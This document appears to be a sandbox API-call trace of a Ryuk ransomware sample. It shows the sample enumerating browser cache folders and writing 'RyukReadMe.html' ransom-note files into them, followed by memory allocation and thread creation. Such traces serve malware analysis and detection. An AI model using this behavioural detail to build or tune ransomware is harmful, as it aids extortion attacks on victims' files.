	[0277.781] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.781] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\PMMR5K9K\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x216, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0277.782] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0277.782] SetLastError (dwErrCode=0x0) 
	[0277.782] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\PMMR5K9K\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.ie5\\pmmr5k9k\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.782] GetLastError () returned 0x3
	[0277.782] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0277.782] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.782] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b7a8160, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2b7a8160, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="RIJUQL1C", cAlternateFileName="")) returned 1
	[0277.782] SetLastError (dwErrCode=0x0) 
	[0277.782] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.782] GetLastError () returned 0x3
	[0277.782] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0277.782] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.782] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\RIJUQL1C\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x216, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0277.782] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0277.782] SetLastError (dwErrCode=0x0) 
	[0277.783] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\RIJUQL1C\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.ie5\\rijuql1c\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.783] GetLastError () returned 0x3
	[0277.783] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0277.783] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.783] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c153ac0, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2c153ac0, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="X9OHK109", cAlternateFileName="")) returned 1
	[0277.783] SetLastError (dwErrCode=0x0) 
	[0277.783] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.783] GetLastError () returned 0x3
	[0277.783] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0277.783] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.783] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\X9OHK109\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x216, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0277.783] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0277.783] SetLastError (dwErrCode=0x0) 
	[0277.783] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\X9OHK109\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.ie5\\x9ohk109\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.783] GetLastError () returned 0x3
	[0277.783] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0277.784] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.784] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c153ac0, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2c153ac0, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="X9OHK109", cAlternateFileName="")) returned 0
	[0277.784] FindClose (in: hFindFile=0x3efc10 | out: hFindFile=0x3efc10) returned 1
	[0277.784] SetLastError (dwErrCode=0x0) 
	[0277.784] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.784] GetLastError () returned 0x3
	[0277.784] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18d3c8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18d3c8, lpOverlapped=0x0) returned 0
	[0277.784] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.784] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x2dbf3370, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2dbf3370, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2dbf3370, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Content.MSO", cAlternateFileName="")) returned 1
	[0277.784] SetLastError (dwErrCode=0x0) 
	[0277.784] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874
	[0277.785] GetLastError () returned 0xb7
	[0277.785] CloseHandle (hObject=0x874) returned 1
	[0277.785] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.MSO\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x2dbf3370, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2dbf3370, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2dbf3370, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efc10
	[0277.787] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x2dbf3370, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2dbf3370, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2dbf3370, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0277.787] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x2dbf3370, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2dbf3370, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2dbf3370, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0277.788] FindClose (in: hFindFile=0x3efc10 | out: hFindFile=0x3efc10) returned 1
	[0277.788] SetLastError (dwErrCode=0x0) 
	[0277.788] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.MSO\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.mso\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.788] GetLastError () returned 0x3
	[0277.788] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18d3c8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18d3c8, lpOverlapped=0x0) returned 0
	[0277.788] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.788] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xe7138400, ftCreationTime.dwHighDateTime=0x1d2e625, ftLastAccessTime.dwLowDateTime=0x27b4c650, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x27b4c650, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Content.Word", cAlternateFileName="CONTEN~1.WOR")) returned 1
	[0277.788] SetLastError (dwErrCode=0x0) 
	[0277.788] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874
	[0277.789] GetLastError () returned 0xb7
	[0277.789] CloseHandle (hObject=0x874) returned 1
	[0277.789] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.Word\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xe7138400, ftCreationTime.dwHighDateTime=0x1d2e625, ftLastAccessTime.dwLowDateTime=0x27b4c650, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x32c0a7d0, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efc10
	[0277.790] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xe7138400, ftCreationTime.dwHighDateTime=0x1d2e625, ftLastAccessTime.dwLowDateTime=0x27b4c650, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x32c0a7d0, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0277.790] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xe7138400, ftCreationTime.dwHighDateTime=0x1d2e625, ftLastAccessTime.dwLowDateTime=0x27b4c650, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x32c0a7d0, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0277.790] FindClose (in: hFindFile=0x3efc10 | out: hFindFile=0x3efc10) returned 1
	[0277.790] SetLastError (dwErrCode=0x0) 
	[0277.790] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.Word\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.word\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0277.790] GetLastError () returned 0x3
	[0277.791] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18d3c8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18d3c8, lpOverlapped=0x0) returned 0
	[0277.791] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0277.791] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe710360, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0277.791] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x51445650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x51445650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1
	[0277.791] SetLastError (dwErrCode=0x0) 
	[0277.791] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874
	[0277.791] GetLastError () returned 0xb7
	[0277.791] CloseHandle (hObject=0x874) returned 1
	[0277.791] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x51445650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x51445650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efc10
	[0277.792] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x51445650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x51445650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0277.792] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f10630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f10630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f10630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="AntiPhishing", cAlternateFileName="ANTIPH~1")) returned 1
	[0277.792] SetLastError (dwErrCode=0x0) 
	[0277.792] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d4
	[0277.796] GetLastError () returned 0x0
	[0277.796] WriteFile (in: hFile=0x6d4, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18cc98*=0x273, lpOverlapped=0x0) returned 1
	[0277.797] CloseHandle (hObject=0x6d4) returned 1
	[0277.798] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\AntiPhishing\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f10630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f10630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f10630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x204, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0277.798] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f10630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f10630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f10630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x204, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0277.799] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50f10630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f10630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f10630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x47f94, dwReserved0=0x204, dwReserved1=0x0, cFileName="2CEDBFBC-DBA8-43AA-B1FD-CC8E6316E3E2.dat", cAlternateFileName="2CEDBF~1.DAT")) returned 1
	[0277.799] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0277.800] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b4
	[0277.801] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
